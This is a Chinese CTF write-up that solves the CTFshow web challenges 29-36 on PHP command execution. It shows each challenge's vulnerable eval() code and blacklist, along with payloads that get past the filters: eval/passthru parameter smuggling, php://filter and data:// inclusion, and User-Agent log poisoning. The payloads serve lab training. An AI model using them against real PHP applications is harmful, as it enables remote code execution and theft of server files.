CTFshow web(命令执行29-36)

?c=eval($_GET[shy]);&shy=passthru('cat flag.php'); #逃逸过滤

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php #文件包含

?c=include%0a_GET\[cmd\]?\>\&cmd=php://filter/read=convert.base64-encode/resource=flag.php #文件包含 ?c=include_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?> #文件包含
?c=include$_GET[cmd]>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== #文件包含

?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php #伪协议

?c=/var/log/nginx/access.log 在 User-Agent插入<?php echo system('ls');?> #文件日志包含

?c=echo(`tac%09f*`); #反引号

web29

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 00:26:48

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

做什么题目都是一样的,既然题目没有给输出flag,那就必须找到flag在哪,但是CTFshow的flag都在flag.php,所以之后也没有太大必要

先来一句?c=system(ls);

因为CTFshow后面flag不输出来的基本都藏在flag.php所以之后没有必要直接system(ls);

上面的基本每一条命令都可以搞定这道题目,而且基本都是降维打击这个栏目很多题目,这里是刷题篇,因为之前没有怎么系统刷过这边题目,这里准备用我之前写的一篇文章一个晚上对这个栏目降维打击,速度补充之前没有系统刷一遍的CTFshow命令执行题目,准备要高效学习命令执行的就看我的一篇文章就好了,先看我之前的文章,不然车速会很快。

一篇文章带你进阶CTF命令执行-CSDN博客

这里直接:?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

web30

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 00:42:26

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

这里直接:?c=eval($_GET[shy]);&shy=passthru('cat flag.php');#逃逸过滤法

降维打击

web31

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 00:49:10

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

还是那个命令:?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

当然你要用我文章其他命令也可以,都是降维打击的,是不是很爽!

web32

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 00:56:31

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

?c=eval($_GET[shy]);&shy=passthru('cat flag.php');

在这段代码中,使用了 PHP 中的 GET 方法来获取参数值。$_GET[shy]代表获取名为"shy"的 GET 参数的值,并将其作为字符串传递给 eval() 函数进行执行。

在这个例子中,如果你通过 URL 的查询参数传递 c=eval($_GET[shy]),那么这个参数会被当做 PHP 代码执行,最终达到逃逸对c的过滤,毕竟那是过滤c的,管我shy什么事!

但是这里把;过滤,没有办法,那就用下一个命令,丢上去就好,原理都在我之前写的文章里面

第二个命令就搞定了,接下来直接base64解码就好!

web33

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 02:22:27

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

//

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

做题就两步走,第一步先把上面我给出的所有命令语句的原理给我弄清,第二步下次遇到问题从第一条开始往下梭哈就好,当然别忘了对面有没有过滤特殊符号啊

对面过滤了;,那直接第二条就搞定了

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

web34

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 04:21:29

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

还是第二条命令,记住:如果没有发现flag说明对面在前端或者后端过滤了,那就别犹豫,如果有一些隐性的过滤比如waf,那就一个个尝试命令就好了,毕竟我给列出了那么多命令呢!

web35

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-04 00:12:34

@Last Modified by: h1xa

@Last Modified time: 2020-09-04 04:21:23

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

error_reporting(0);

if(isset($_GET['c'])){

c = _GET['c'];

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){

eval($c);

}

}else{

highlight_file(FILE);

}

还是第二条命令

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

web36

<?php

/*
``

-- coding: utf-8 --``

``

@Author: h1xa``

``

@Date: 2020-09-04 00:12:34``

``

@Last Modified by: h1xa``

``

@Last Modified time: 2020-09-04 04:21:16``

``

@email: h1xa@ctfer.com``

``

@link: https://ctfer.com``

*/

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

还是第二条命令:

?c=include%09$_GET[shy]?>&shy=php://filter/read=convert.base64-encode/resource=flag.php

磨刀不误砍柴工,看了我之前的文章后,车速自然要加快,10分钟八道题转瞬即逝,苦于篇幅太长,剩下内容在下一篇文章

真心希望我的文章能够帮助大家,谢谢!

相关推荐
web守墓人1 小时前
【前端】ikun-markdown: 纯js实现markdown到富文本html的转换库
前端·javascript·html
Savior`L1 小时前
CSS知识复习5
前端·css
许白掰1 小时前
Linux入门篇学习——Linux 工具之 make 工具和 makefile 文件
linux·运维·服务器·前端·学习·编辑器
网安小白的进阶之路5 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-2
网络·安全·web安全·系统安全·交换机
安全系统学习5 小时前
网络安全之RCE分析与利用详情
服务器·网络·安全·web安全·系统安全
武汉唯众智创5 小时前
网络安全实训室建设方案全攻略
网络·安全·web安全·网络安全·网络安全实训室·网络安全实验室
weixin_472339465 小时前
网络安全攻防:文件上传漏洞的深度解析与防御实践
安全·web安全
雪兽软件5 小时前
2025 年网络安全与人工智能发展趋势
人工智能·安全·web安全
中微子6 小时前
🔥 React Context 面试必考!从源码到实战的完整攻略 | 99%的人都不知道的性能陷阱
前端·react.js
中微子7 小时前
React 状态管理 源码深度解析
前端·react.js